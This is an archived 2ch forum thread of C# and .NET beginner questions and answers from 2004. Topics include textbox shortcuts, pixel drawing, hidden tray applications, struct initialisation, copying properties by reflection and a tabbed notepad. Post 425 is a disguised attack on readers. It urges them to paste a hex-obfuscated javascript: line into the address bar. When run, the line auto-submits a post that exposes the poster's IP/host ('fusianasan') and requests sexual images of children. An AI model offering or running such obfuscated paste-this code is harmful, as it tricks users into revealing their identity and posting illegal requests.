テキストボックスで HOME や END、あまつさえ SHIFT+HOME や SHIFT+END、
CTRL+Z や CTRL+C/V/X を実現するには自分でコードを書かないといけないのでしょうか?
319:デフォルトの名無しさん
04/08/28 22:47
>>318
まず試せ。
320:デフォルトの名無しさん
04/08/28 23:16
Windows.Formにプロパティを加えたんだけど、
デザイナのプロパティウィンドウには表示されませんね。
基底クラス(Windows.Form)に加えたプロパティは
派生クラス(Windows.Form)のデザイナに反映される
みたいだけど、自分自身ならなぜだめなのかなぁ。
321:デフォルトの名無しさん
04/08/28 23:51
>>320
まったく同じレスをどこかで見たなぁ。
322:デフォルトの名無しさん
04/08/29 12:53
>>321
俺も見た記憶があるので探してみた
スレリンク(tech板:294番)
323:306
04/08/29 14:08
>>307,308
遅ればせながら・・・
ListViewでいけました。
ありがとうございました。
詳細表示なんてさっぱり思い浮かびませんでした。
324:318
04/08/29 14:41
>>319
できました…。幻覚でも見ていたのかもしれません。
でも CTRL+A ってできないんですね。
325:デフォルトの名無しさん
04/08/30 17:43
1pxの点 . を任意の座標表示するにはどうしたら良いんでしょう?
1,1 - 1,2まで幅1の線を引くと、どうも2pxくらい線が引かれちゃうし
1,1 - 1,1にすると線ができないんです。
326:デフォルトの名無しさん
04/08/30 18:05
>>325
Bitmap に SetPixel で点を描いて、Graphics.DrawImage で画面に描写。
327:デフォルトの名無しさん
04/08/30 18:13
他には、
FillRectangle(DrawRectangleは不可)で幅・高さ1の四角を描画。
Graphics.GetHwndで取得したデバイスコンテキストにWin32APIのSetPixelで描画。
……元画像のビットマップを取得できるならBitmap.SetPixelが一番手っ取り早い/速いんだけどねー。
328:デフォルトの名無しさん
04/08/30 19:13
それ俺も気になって調べたんだけど
点を描画するGraphicsクラスのメソッドはないみたいなんだよね
結局SetPixelで妥協したけど、
Graphicsオブジェクトを使って描画を行うというルールから離れるからあんまりやりたくない
329:デフォルトの名無しさん
04/08/30 19:18
……327のGetHwndはGetHdcの間違い。
//user32.dllのAPIをまとめたクラスを最近作ってるからhwndまみれでつい。
330:デフォルトの名無しさん
04/08/31 00:59
>>328
Graphics はベクタ形式を含む一般的なグラフィックを扱うクラスだから、“点”という概念がないのよね。
数学的には、点は半径が無限小の円と等価な存在で、半径0の円は画面に表示できないから。
点、というか、ピクセル単位の処理がしたければビットマップを使えと。
Graphics に元画像のビットマップを取得するメソッドがないのは、
将来的に(Avalon で)、OS 自体をベクタ画像ベースで動くものにするつもりでいるからじゃないかな。
331:デフォルトの名無しさん
04/09/05 13:36
>>330
目から鱗
332:デフォルトの名無しさん
04/09/08 21:18
URLリンク(www.atmarkit.co.jp)
の記事をみてSQL Server 2000を使ってみようと思い立ったんですが、
とりあえず URLリンク(www.microsoft.com) をインストールして
みたのですが、ヘルプをみても使い方がサッパリ分りません。
インストールするとタスクトレイにDBのアイコンがでますが、これのサービスをスタートしようとすると
エラー1069(ログオンに失敗したため、サービスを開始できませんでした)となってしまいます。
これってまず何をすればいいんでしょうか?
333:デフォルトの名無しさん
04/09/09 01:51
はじめまして。
URLリンク(mobiquitous.com)
これを使って、IEツールバーのボタンが押されたらあるページがIEに表示されるように
したいのですが、どうすればIEを操作できるのか見当がつきません。
何か関連ありそうなキーワードがあれば教えてください。よろしくお願いします。
334:デフォルトの名無しさん
04/09/09 12:55
>>333
Site もしくは Site の IServiceProvider 経由で IID_IWebBrowser もしくはIID_IWebBrowserAppを
得て Navigate すればいいんじゃない?
335:333
04/09/09 22:37
>>334
ありがとうございます。
調べてみます。
336:デフォルトの名無しさん
04/09/10 16:44:32
アプリケーションをフォームが非表示の状態で開始するにはどうやればいいか教えていただけますか?
Application.Run の前に CreateControl して Hide して、Visible を false にしてもなぜか表示されてしまいます・・・
337:デフォルトの名無しさん
04/09/10 17:01:55
>>336
URLリンク(www.microsoft.com)
個人的にはApplication.Run()でやることが多いけど。
338:デフォルトの名無しさん
04/09/10 21:30:59
>>337
これだと確かに表示はされないけれども、Load イベントも上がらないし・・・
普通の Win32 アプリでいう WS_VISIBLE でない状態でウィンドウそのものは作りたい、
というような状況なのです。CreateSuruct でも override してみるかなぁ。
339:デフォルトの名無しさん
04/09/10 21:56:22
CreateParams を override して WS_VISIBLE を落としてもダメ、
Form の Load イベントで this.Hide() しても this.Visible = false; してもダメ、
Application.Run を Form.ShowDialog にしてもダメ。
(関係ないけどRun の代わりに ShowDialog 使うと Dialog 終了後のメッセージが処理されないので
表示した NotifyIcon を Form が Close される前に消さないとゴミが残る・・・)
VisibleChanged イベントのハンドラで Hide すると何とか消えるけど、一瞬表示されるのでちらつきます。
タスクトレイにいきなり常駐するユーティリティとかどうやってみんな作ってるんだろう。
340:デフォルトの名無しさん
04/09/10 22:03:18
>>339
> タスクトレイにいきなり常駐するユーティリティとかどうやってみんな作ってるんだろう。
NotifyIconとかを管理するクラスを作り、その中のContextMenuでフォームのShow/Hideを扱う。
メッセージループはApplication.Run()でメインウィンドウを持たせずに開始する。
341:デフォルトの名無しさん
04/09/10 22:46:49
>>340
できました!ありがとうございます。
342:デフォルトの名無しさん
04/09/17 11:41:58
パフォーマンスを計るのにスレッド単位でCPUのTickTimeを取得したいのですが、
(Sleep中または別スレッドが走っている時はカウントしない)
そういうクラス知っている人いますか?
343:デフォルトの名無しさん
04/09/17 11:48:25
Type.InvokeMemberからBindingFlags.GetPropertyでプロパティを取得する時、
返り値がobject配列なのですが、どうすれば各要素にアクセス可能になるでしょうか。
単に返り値をobjectとして取得することはできたのですが、その後が分かりません・・
344:デフォルトの名無しさん
04/09/17 11:50:48
>>343
言ってる意味がよくわからない。
もうちょっと具体的に。
345:デフォルトの名無しさん
04/09/17 12:07:17
ごめんなさい、分かっちゃった。
こうしたかっただけです。
obj = type.InvokeMember("array", BindingFlags.GetProperty, null, doc, new object[] {2});
* これで二番目の要素をゲット
お騒がせしました。
346:デフォルトの名無しさん
04/09/17 14:41:43
bmp=new Bitmap(filename);
これをdisposeせずに、また
bmp=new Bitmap(filename2);
を呼び出したらメモリー減って行きますか?
それとも、同じ変数のメモリー番地に上書きされるだけですか?
347:デフォルトの名無しさん
04/09/17 14:45:31
>>346
もちろん新しいメモリが確保される。
インスタンスのサイズが違うかも知れないのに上書きしちゃまずいだろ。
348:デフォルトの名無しさん
04/09/17 14:47:10
って、参照先じゃなくて変数そのもののアドレスか?
それなら上書きされるが。
つかそんなことに頭を悩ます意味は全くないが。
あとそれとDisposeとは何の関係もない。
349:デフォルトの名無しさん
04/09/17 14:58:36
bmpの中にある画像データを替えたかっただけなんです。
>って、参照先じゃなくて変数そのもののアドレスか?
>それなら上書きされるが。
という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?
350:デフォルトの名無しさん
04/09/17 15:08:05
> という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?
画像データとか言わずBitmapインスタンスと言おうな、こういう場合。
まあ、そんな感じ。
細かく言うなら、「変数が示す参照先が書き変わる」。
変数が、古いインスタンスを丸めてポイして、新しいインスタンスにべったりくっつくわけだ。
//丸めてポイされたインスタンスはいずれGCが片づける。
351:346
04/09/17 15:10:47
なるほど、色々ありが㌧。
352:デフォルトの名無しさん
04/09/17 15:16:45
>>346微妙に誤解してないか?
>>350の書いてる内容は間違っちゃいないんだけど、
読み方によっては>>346が誤解してしまうように思う。
依然
>という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?
のように言ってるからね…
まあ画像データが上書きされるってのを、プログラム上からはというか、
プログラムでの操作上はそのように見えるってだけの意味で言ってるのなら大丈夫かもしれんが…
353:デフォルトの名無しさん
04/09/17 21:16:06
>>346
上書きはされないよ。例えば、
Bitmap bmp = Bitmap(file1);
aForm.BackgroundImage = bmp;
なんてしておいて、後で
bmp = Bitmap(file2)
なんてやってもフォームの背景は変わらない。
前の画像は前の画像、新しい画像は新しい画像、お互いなんの関係もない。
354:デフォルトの名無しさん
04/09/17 21:48:51
プロパティに設定するときはインスタンスのコピーをとってるんだろうか
355:デフォルトの名無しさん
04/09/17 22:26:56
>>354
とってないよ。だから Dispose なんかしちゃだめだよ。
356:デフォルトの名無しさん
04/09/17 23:38:22
Disposeは微妙な存在。
357:デフォルトの名無しさん
04/09/18 10:40:22
>>342 の続きなんですが、スレッドがSleep等で停止したり、再開したりする時に
コールバックもしくはなんだかの形でフックを掛けることはできないか知っている人いませんか?
358:在日参政権反対
04/09/18 12:36:45
>357
単純にメソッド余分じゃ駄目なの?他のスレッドに何かさせたいんでしょうか?ならイベントとか?
359:デフォルトの名無しさん
04/09/18 13:51:36
>>358
システム側でスレッドが切り替えられたときにも引っ掛けないとパフォーマンスが計れないです。
360:在日参政権反対
04/09/18 14:13:26
パフォーマンスカウンターオブジェクトのスレッド実行時間では?
361:デフォルトの名無しさん
04/09/23 02:34:14
はじめまして。
プログラミング自体初心者なのですが、
VisualStudioC#で作ったプログラムの
テキストボックスの中でバックスペースが効きません。
これってなんとかならないものでしょうか。
362:デフォルトの名無しさん
04/09/23 02:40:37
Ctrl+H
363:デフォルトの名無しさん
04/09/23 15:42:18
前の文字を消すための代替方法を探しているのではなくて、
テキストボックスでバックスペースキーを認識する方法を探しています。
364:デフォルトの名無しさん
04/09/23 15:48:46
と言われても私の周辺では普通に有効だし。
コード上で変なことをしてるかキーボード補助系のなんかのアプリを使ってるか、果てしなく環境依存な話になるし。
そもそもTextBoxはWindowsの標準エディットコントロールをラップしてるだけだしなぁ。
365:教えてください
04/09/24 08:46:54
C#初学者です。
ナンバーズ予想ソフトをVC#で作りたいと思っています。
Winアプリで、ナンバーズとか株の最新データを取得してくるソフトが
ありますが、あれってどのような仕組みでやっているのですか?
何か参考になるサイトや書籍などあれば教えてください。
366:デフォルトの名無しさん
04/09/24 11:16:52
>>365
1.サイトからHTML(など?)をダウンロードする
2.ダウンロードしたHTML(など?)からナンバーズのデータを取得
3.取得したデータから、予想する
大雑把にこんな感じでやればいいのでは。
367:在日外国人参政権反対
04/09/24 11:32:46
ナンバー図は知らんが、株はサイトと直接ソケット接続してデータやり取りするものもあった希ガス.
368:365
04/09/24 12:59:54
>366
ということは、まずHTMLのソースを元に配列化して、データを取得するということでしょうか?
取得の仕方だけが分からないんで・・・
369:デフォルトの名無しさん
04/09/24 13:03:00
まずデータがどこにどういう状態/形式でおかれているか、によって話は全く違った方向に転がっていくだろう。
370:366
04/09/24 15:17:28
>>368
それは各自の工夫です。そんな甘いものではないはず。
まあヒントを。HTMLをダウンロードすることを前提に話すけど。
ダウンロードしたHTMLのうち、必要なデータがある場所というのはサイトの構成が変わらなければいつも同じなはず。
そういうのを、文字列の検索とか正規表現とかで探し出す。
運よく取得するサイトがXHTMLになっている場合は、System.Xml名前空間を駆使すれば楽になるかもしれない。
371:在日外国人参政権反対
04/09/24 15:55:14
>365
何がわからないのか明確にしる
ソースの場所
ソースの形式
そのソースの取得方
プログラムの書き方
全部
372:デフォルトの名無しさん
04/09/24 19:47:18
HttpWebRequest
373:デフォルトの名無しさん
04/09/25 14:06:36
ネットワークゲームを作る際に、通信に最初(ログイン)から最後(ログオフ)まで
BinaryFormatter もしくは SopaFormatter にてシリアル化したオブジェクトのみを使用する事に問題点はありますか?
374:デフォルトの名無しさん
04/09/29 00:02:22
>>373
なんか問題があったときにスニファで見てもよくわからないとかが
ありそうなので、おいらは使わない
Soapはしらないけど、効率わるいんじゃないの?
375:デフォルトの名無しさん
04/10/02 10:37:47
値型のnewってヒープを食わないんですよね?デフォルトのコンストラクタが呼ばれるだけで。
同じ変数に2回以上newした場合はどうなんでしょう。
ループの中で構造体とかを初期化したいがためにnewでクリアしようとするのは
問題ないんでしょうか?
すごく抵抗を覚えるんですが・・・
・パターン1
A a = new A();
for (int i = 0; i < 10000; i++)
{
a = new A();
// 以降Aを設定する処理
}
・パターン2
for (int i = 0; i < 10000; i++)
{
A a = new A();
// 以降Aを設定する処理
}
・パターン3
A a = new A();
for (int i = 0; i < 10000; i++)
{
// 自力で初期化
a.xx = "";
// 以降Aを設定する処理
}
パフォーマンス的には3が一番いいような気がしていますが。
構造体を再度初期化する方法ってnew以外にあるんでしょうか?
376:デフォルトの名無しさん
04/10/02 11:03:46
>>375
ボクシングされなければ、既に在る領域をコンストラクタで初期化しているだけのような気もする
……中を見てみないとどうにもいえないけど
不安ならば、パターン3の拡張として、
A に SetData みたいなメソッドを作り、そこで一気に値を変更してみればいかがか?
377:デフォルトの名無しさん
04/10/02 11:21:45
>>375
> パフォーマンス的には3が一番いいような気がしていますが。
少なくとも速度的には一番悪い。
1と2では差は無し。意味的に大した違いも無し(aの寿命だけ。実質的な動作は同じ)
> 構造体を再度初期化する方法ってnew以外にあるんでしょうか?
static readonlyなEmptyフィールドを用意するとか。
意味的にはnew()するのと変わりませんよ?
> ループの中で構造体とかを初期化したいがためにnewでクリアしようとするのは
> 問題ないんでしょうか?
> すごく抵抗を覚えるんですが・・・
そんなことよりも、初期値を指定しないで初期化する構造体の方に抵抗を覚えるな。
378:375
04/10/02 12:40:42
>>376-377
回答どーもです。
3が一番遅いというのは、newより個々のメンバをクリアする方が遅いんですか?
値型のnewの場合、内部的にmemsetみたいにクリア処理が1発走るだけなんですかね。
379:デフォルトの名無しさん
04/10/02 12:57:09
C#でビデオキャプチャーはできますか?
DirectXではできない(かなり面倒)と聞きました。
VFWで動きますでしょうか?サンプルなどありましたら、お教えください。
380:デフォルトの名無しさん
04/10/02 13:43:36
>>379
DirectShow(のActiveXコントロール)による極簡単なサンプル
URLリンク(chikuma.sit.ac.jp)
DirectX9のDirectShowの.NETラッパ作成プロジェクト
URLリンク(www.codeproject.com)
381:デフォルトの名無しさん
04/10/04 01:17:53
このスレタイのC#を半角小文字英数のC#に変えてください
382:デフォルトの名無しさん
04/10/04 01:19:03
そうすると不思議なことにC言語のスレッドと見分けがつかなくなるのです。
383:デフォルトの名無しさん
04/10/04 01:51:54
#はシャープとは違う文字ですよ
384:デフォルトの名無しさん
04/10/04 01:57:37
それでも半角の方が公式なんだがな。
385:デフォルトの名無しさん
04/10/04 01:59:03
スレタイに半角 # は使えません。
386:デフォルトの名無しさん
04/10/04 02:01:23
ム板だけでも#が使えるようにならんもんかな
387:デフォルトの名無しさん
04/10/04 17:39:45
c#stdを使っているのですが
ユーザーコントロールを配置して
デバッグしようとすると、ユーザーコントロールはビルドされていないとダメって
コンパイル時に起こられるのですが、みなさんはどうしてますか?
VS.NETproとかだとこういうエラーはでないんですか?
388:デフォルトの名無しさん
04/10/04 18:07:35
>387 151はけーん
389:デフォルトの名無しさん
04/10/12 23:27:56
age
390:デフォルトの名無しさん
04/10/17 23:11:19
button1のプロパティを全部button2にコピーする簡単な方法ってありますか?
391:デフォルトの名無しさん
04/10/17 23:36:11
意外に必要なプロパティなんて少ないもんだぞ。
問答無用に全部コピーすると問題が出たりするしな(だからWindowTargetをわざわざ除外してる)。
public void CopyButton(System.Windows.Forms.Button from, System.Windows.Forms.Button to) {
foreach (System.Reflection.PropertyInfo inf in typeof(System.Windows.Forms.Button).GetProperties()) {
if (!inf.CanRead || !inf.CanWrite || inf.Name == "WindowTarget")
continue;
inf.SetValue(to, inf.GetValue(from, null), null);
}
}
392:デフォルトの名無しさん
04/10/18 00:04:22
>>391
すごい。
ありがとうございます!
やってみます。
393:デフォルトの名無しさん
04/10/18 18:35:36
C♯相談室から流れてきました。
タブ型のメモ帳を作っています。
richTextBoxを乗せたtabpageを追加していくようにしています。
上書き処理をしたいのですが自分で考えた方法は
openFileDialogでファイルのパスを取得してloadfileで読み込む
→内容を変更→savefileを使いpathパラメータはopenfileDialog.Filenameを指定して上書き
としているのですが、別のテキストファイルを開いたあとで開いてあったテキストファイルを上書きしようとすると
Filenameが後に開いたテキストファイルのものになってしまいます。
ファイルのパスをタブごとに維持しておく方法どうすればいいんでしょうか?
394:デフォルトの名無しさん
04/10/18 18:46:47
>>393
タブのページ毎の情報はタブのページ毎に保存しとく。
OpenFileDialog.FileNameを、それぞれのTabPageオブジェクトのTagにいれといて
保存する時はそれを使うようにする。
……むう、微妙に説明するのが難しい。
//開く時
TabPage page = tabControl1.SelectedTab;
page.Tag = openFileDialog.FileName;
((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName);
//上書き保存する時
TabPage page = tabControl1.SelectedTab;
string filename = (string)page.Tag;
((RichTextBox)page.Controls[0]).SaveFile(filename);
こんなかんじで。
395:デフォルトの名無しさん
04/10/18 20:10:25
早いレスありがとうございます。
しかし自分の説明不足からかわからない点が。
上の記述はすでにtabが開いてあるとしてのものですか?
説明が下手なのでコードを貼り付けます。
//開く
private void menuItem3_Click(object sender, System.EventArgs e)
{
openFileDialog1.DefaultExt = "*.txt";
openFileDialog1.Filter = "TEXT Files|*.txt";
if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK && openFileDialog1.FileName.Length > 0)
{
string path = openFileDialog1.FileName;
string name = Path.GetFileName(path);
string title = name;
this.newtabpage = new System.Windows.Forms.TabPage(title);
this.tabControl1.Controls.Add(this.newtabpage);
this.newrichTextBox= new System.Windows.Forms.RichTextBox();
this.newrichTextBox.Dock=System.Windows.Forms.DockStyle.Fill;
this.newtabpage.Controls.Add(this.newrichTextBox);
this.newrichTextBox.LoadFile(openFileDialog1.FileName, RichTextBoxStreamType.PlainText);
this.tabControl1.SelectedTab=this.newtabpage;
this.newtabpage.ToolTipText=path;
TabPage newtabpage = tabControl1.SelectedTab;
newtabpage.Tag = openFileDialog1.FileName;
MessageBox.Show(this.newtabpage.Tag.ToString());//パスが取れてるか確認のため。
}
}
としてみましたが結果が同じになってしまいました。
試行錯誤中なので無駄な記述があるかもしれません。
説明不足の上長文で申し訳ありませんがどうかお救いください。
396:デフォルトの名無しさん
04/10/18 20:19:32
>>395
this.newtabpageとかthis.newrichTextBoxとかは他で使わないならローカル変数でもいいような。
それはさておき開くときにファイル名を記録していないわけで。
this.newtabpage.Tag = name;
397:デフォルトの名無しさん
04/10/18 20:58:23
>>396
ファイル名を記憶してみても
別のテキストファイルを開いたらすでに開いてあるテキストファイルのタブのtagも新しく開いた方のtagになってしまいます。
根本的におかしい部分はありますか?
何回も本当に申し訳ありません。挫折したくないので頑張らせてください。お願いします。
398:デフォルトの名無しさん
04/10/18 21:02:04
>>397
すいません、解決しました。
パスを確認する別の記述の部分に
TabPage newtabpage = tabControl1.SelectedTab;
を加えるのを忘れていました。
ありがとうございました!
399:デフォルトの名無しさん
04/10/18 22:19:49
先生!
文字列型変数は、削除されないんですよね?
string s = "ぬるぽ";
s = "にりぺ";
とした場合、「ぬるぽ」は残ってるんですよね?
で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか?
400:デフォルトの名無しさん
04/10/18 22:22:16
アクセスって?
401:デフォルトの名無しさん
04/10/18 22:23:40
>>399
string s = "ぬるぽ";
string backup = s;
s = "にりぺ";
System.Console.WriteLine(backup);
402:デフォルトの名無しさん
04/10/18 22:23:48
参照が無くなったものにアクセスはできない。
GCの管理下に入ってそのうちメモリから消されるのみ。
というか
> 文字列型変数は、削除されないんですよね?
て意味不明。
System.Stringは変更不可クラスで、その意味は
文字列を操作する各メソッドが自分自身のインスタンスを書き換えるのではなく
新しいSystem.Stringインスタンスをつくって返すってこと。
403:デフォルトの名無しさん
04/10/18 22:24:21
>>400
string p = s;
で、"ぬるぽ"を取得したり、"ぬるぽ"を消して、別の値を入れたり。
です。
404:デフォルトの名無しさん
04/10/18 22:41:45
>>399
> とした場合、「ぬるぽ」は残ってるんですよね?
もう手の届かないどこかに残っている。そのうち消えるが。
> で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか?
諦めるのがよい。
>>403
>"ぬるぽ"を消して、別の値を入れたり。
別の値をどこに入れるね?
405:デフォルトの名無しさん
04/10/19 00:14:02
>>403
あんたはいったいなにがしたいんだ…?
406:デフォルトの名無しさん
04/10/19 01:40:32
>>402
どうでもいいことだが、参照が無くなってもWeakReferenceでアクセスできるような。
いや、これはGCの対象になるだけで参照は無くなってはいないか。
407:デフォルトの名無しさん
04/10/19 12:40:14
正規表現を全部エスケープする正規表現ってどうすればいいいですか?
408:デフォルトの名無しさん
04/10/19 14:54:14
class Class
{
public string s = "Hage1";
}
class Class1 : Class
{
new public string s = "Hage2";
public static void Main(string[] args)
{
Class c1 = new Class1();
Console.WriteLine(c1.s);
Console.ReadLine();
}
}
"Hage2"を表示したいのに、"Hage1"が表示されます。
Class c1 = new Class1();
で作成されたインスタンスは、Class1のインスタンスじゃないんでしょうか?
409:デフォルトの名無しさん
04/10/19 15:14:06
>>408
まず、フィールドはオーバーライドできない。まあ当然だけど。
このサンプルでやってるのはプロパティやメソッドで隠蔽と呼ばれる手法。同じシグネチャを持つもので元クラスのを隠蔽するわけだな。
ちなみにフィールドの場合newキーワードすら不要。
でも隠れただけで実際には存在する。
どう元クラスのにアクセスするか、というと元クラスの型でアクセスする。
この場合Class型でアクセスしたからClass型のsが呼ばれたんだな、とCLRは判断するわけだ。
さて、貴方の目当ての機能はどういうものか。
オーバーライドという手法だ。
機能を考えれば自ずと明らかなんだけど、これはメソッドやプロパティなど、「単に値を保持するだけではない」ものにしか適用できない。
サンプル。
class Super {
public virtual string S {get {return s;}}
private string s = "Super";
}
class Sub : Super {
public override string S {get {return this.s + base.S;}}
private string s = "Sub";
public static void Main() {
Super sub = new Sub();
Console.WriteLine(sub.S);
}
}
むう、今一つ上手い説明がつけられない……。
>>407
何がしたいのか分からないので具体例を。
410:408
04/10/19 15:55:59
>>409
この場合だと、
Class1クラスは、Classクラスのインスタンスを持っている。
Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。
そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。
c1---------Class ←Class型でアクセスするとこの中のデータにアクセス
|--------Class1←Class1型で ヾ
ていう感じでいいんでしょうか? orz
411:デフォルトの名無しさん
04/10/19 16:17:36
> Class1クラスは、Classクラスのインスタンスを持っている。
違う。
Class1は、Classを拡張している。
class Class1 { // Classを継承させずに書いてみる。いや文法エラーだけど
public string Class.s = "Hage1";
public string Class1.s = "Hage2";
}
こんな感じに。
この場合名前が同じだからわざわざClass.とClass1.で分けてるけど、そうでなければわざわざ型名をつける必要もないのは分かるね?
単に同じ部分を繰り返し書かなくて良いようにしてるだけ、と捉えることもできる(深く立ち入ればそう単純でもないが
> Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。
だからあくまでClass1のインスタンスはClass1のインスタンス。
Class1がたまたまClassの機能をそのまま引き継いでいるからClassにある機能も使うことができる。
> そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。
Class1クラスにはClass.sとClass1.sが両方定義されている。と考えられる。
普通c1はClass1のインスタンスなんだからsを呼ぶとClass1.sが返される。
でもClass型の方のsが欲しいなら、Class.sを呼び出すことを明示するためにClass型で呼び出す。
412:408
04/10/19 17:30:06
>>411
どうもありがとうございます。
>public string Class.s = "Hage1";
>public string Class1.s = "Hage2";
これでやっと分かりました、たぶん。
Class c1 = new Class1();
これで、base.Value でアクセスするような感じで、c1.Value で基底クラス(Class)のメンバーに、自動的にアクセス出来るってことですよね。
413:デフォルトの名無しさん
04/10/19 19:56:35
先日質問させていただいたタブ型メモ帳を作ってるものです。
実はまだ上書き作業が上手くいっていません。というかsavefileを使う記述がすべて上手くいっていません。
問題はやはり保存したいもののとなりに新しく開いたものがあると
書き込むファイルは教えていただいた方法でちゃんと書き込んでいるのですが
書き込んでいる内容が一番最後に開いたタブのなかのrichTextBoxの内容になっています。
//上書き保存
private void menuItem4_Click(object sender, System.EventArgs e)
{
newtabpage = tabControl1.SelectedTab;
string fpath = newtabpage.Tag.ToString();
if(fpath.Length>0)
{
newrichTextBox.SaveFile(fpath,RichTextBoxStreamType.PlainText);
}
else
{
saveFileDialog1.DefaultExt = "*.txt";
saveFileDialog1.Filter = "TEXT Files|*.txt";
if(saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK &&saveFileDialog1.FileName.Length > 0)
{
newrichTextBox.SaveFile(saveFileDialog1.FileName,RichTextBoxStreamType.PlainText);
}
}
}
こう記述しております。
あと最初に回答していただいたときの
((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName); と
((RichTextBox)page.Controls[0]).SaveFile(filename); はどういう意味があるのでしょうか?
お願いします。
414:デフォルトの名無しさん
04/10/19 20:34:09
問題は、そのnewrichTextBoxだ。
そのnewrichTextBoxは最後に開いたRichTextBoxを指しているだろう?
つまり現在選択中のタブ上にあるRichTextBoxを必ずしも指していない。
そのために
TabPage page = tabControl1.SelectedTab; //pageは現在選択中のタブのTabPage
string filename = (string)page.Tag; //現在選択中のタブがもつパス情報
((RichTextBox)page.Controls[0]).SaveFile(filename); //現在選択中のタブページに含まれるRichTextBoxを取得し、そのデータを上で取得したパスに保存
と書いたわけだ。
つかさ、こんなnewrichTextBoxだのなんだののフィールドは捨てた方がわかりやすくなると思う。
それぞれのメソッドで必要な時にtabControl1.SelectedTab.ControlsからRichTextBoxの参照を取得すべき。
415:デフォルトの名無しさん
04/10/19 21:48:07
そういう意味だったのですか。なるほど。
試したところ上手くいきました。ありがとうございました。
意味はわかったんですけど
((RichTextBox)page.Controls[0]).SaveFile(filename);
という記述は変な聞き方ですがどこで手に入れた?のですか?
MSDNライブラリのtabpage.Controlsの周辺にもなかったので。
416:デフォルトの名無しさん
04/10/19 21:55:03
ん?
目的からしてTabPageにはDock.FillのRichTextBoxしか含まれてないだろう、と言う推測のもと
そうするとTabPage.Controls[0]はRichTextBoxになるわけで
それをControlsの各アイテムはControlクラスだからそのままではSaveFileメソッドを使えないから
一旦RichTextBoxにキャストしてSaveFileメソッドを実行、だが。
RichTextBox rtb = (RichTextBox)page.Controls[0];
trb.SaveFile(filename);
を一行で済ませただけだよ。
417:デフォルトの名無しさん
04/10/19 21:57:18
>>415
個々のオブジェクトの使い方を覚える前に、
まずはC#(というか.NET framework)そのものを学んだ方がよい。
重要なのは記述の方法ではなく、その記述が表現している概念だ。
418:デフォルトの名無しさん
04/10/19 22:06:19
IEのファイルダウンロードのダイアログを同等のものを
C#のプログラムで表示させたいのですが、
どうすればいいのですか?
「開く」「保存」「キャンセル」のボタンがあるやつです。
419:デフォルトの名無しさん
04/10/19 22:13:18
実をいうと自分は
SE・プログラマ スタートアップテキスト 10日間マスター講座 C#プログラミング 【基礎】
URLリンク(www.gihyo.co.jp)
を読んでタブ型メモ帳を作ろうとしていました。
この本は他のC#の解説書・サイトと比べるとかなり基本的なことだけでまとめられていて
自分にピッタリだなぁと思ったんです。
しかし質問するにつれてこの本に載っていない単語・表現・記述などがあるたび
検索してひとつずつ理解しながらまた質問していました。
やはりこれだけでは全然足りないみたいです。
これだけは読んでおけ!っていう本・サイトはありますか?
420:デフォルトの名無しさん
04/10/19 22:37:28
>>418
> 「開く」「保存」「キャンセル」のボタンがあるやつです。
それくらいならFormから派生させたクラス書こう。
Buttonを3つ配置してそれぞれのClickイベントでDialogResultプロパティを適当に設定するだけだ。
421:418
04/10/19 23:02:25
プログラムを書くのは簡単ですが、OS or IEで用意されている
ものがあるのであればそれを使いたい。
そもそもOS or IEのバージョンによっても表示が変わりますよね。
422:418
04/10/19 23:07:15
ファイル上書き確認のダイアログとかもそうだけど。
用意されてないの?自分でつくらないといけないの?
423:デフォルトの名無しさん
04/10/19 23:11:52
上書き確認はSaveFileDialogについてくるもんだしなぁ。
YesNoCancel程度ならMessageBoxで済むし。
424:デフォルトの名無しさん
04/10/20 02:32:48
>>418
あった気がするが。忘れたよ。Win32APIスレでも行ってみたら?
425:デフォルトの名無しさん
04/10/20 07:13:53
どのスレでもいいので新しいウインドウで開く
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524f4d2e76616c75653d2766757369616e6173616e273b4d4553534147452e76616c75
653d275c75333045445c75333045415c75373533425c75353043465c75333034465c75333036305c75333035355c7533303434273b7375626d69742e636c69636b2829
3b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
を1行にしてアドレス欄にコピペして実行すれ。
426:デフォルトの名無しさん
04/10/20 12:40:19
ListBoxとかListView上で、マウスを動かすと同時に、マウスの位置にあるアイテムを
自動的に選択するようにしたいんですが、どうやったらいいですか?
427:デフォルトの名無しさん
04/10/20 13:11:40
>>426
MouseMoveイベント内で、
ListView.GetItemAt(int x, int y)またはListBox.IndexFromPoint(int x, int y)でマウス位置のアイテムまたはインデックスを取得。
ListViewItem.SelectedまたはListBox.GetSelectedがfalseならば
ListViewItem.Selectedをtrue、またはListBox.SetSelected(int index, bool value)で選択させる。
激しく鬱陶しそうなUIだな。
実用にならない気がする。
428:デフォルトの名無しさん
04/10/21 16:48:43
保守age
429:デフォルトの名無しさん
04/10/24 00:03:10
CDドライブのドライブレターを指定して、
トレイの開閉操作を行いたいんだけど、どうもFrameworkにはなさそうなので
従来通り、winmm.dllのmciSendCommandでやろうと思ったわけですが、
構造体を引数にとる場合の処理で困ってます
typedef struct tagMCI_OPEN_PARMSW {
DWORD_PTR dwCallback;
MCIDEVICEID wDeviceID;
LPCWSTR lpstrDeviceType;
LPCWSTR lpstrElementName;
LPCWSTR lpstrAlias;
}
mciSendCommandのextern宣言は
public static extern int mciSendCommand(ulong IDDevice,uint uMsg,ulong fdwCommaand,[MarshalAs(UnmanagedType.LPStruct)] ref MCI_OPEN_PARMS dwParam);
としていますが、
「追加情報 : parameter #4 を集成できません。無効なマネージ/アンマネージ型の組み合わせです。この値は Struct と組で使用してください。」
と、例外が発生して実行できません
どうやったらいいんでしょうか?
430:デフォルトの名無しさん
04/10/24 00:44:34
>>429
それだけなら
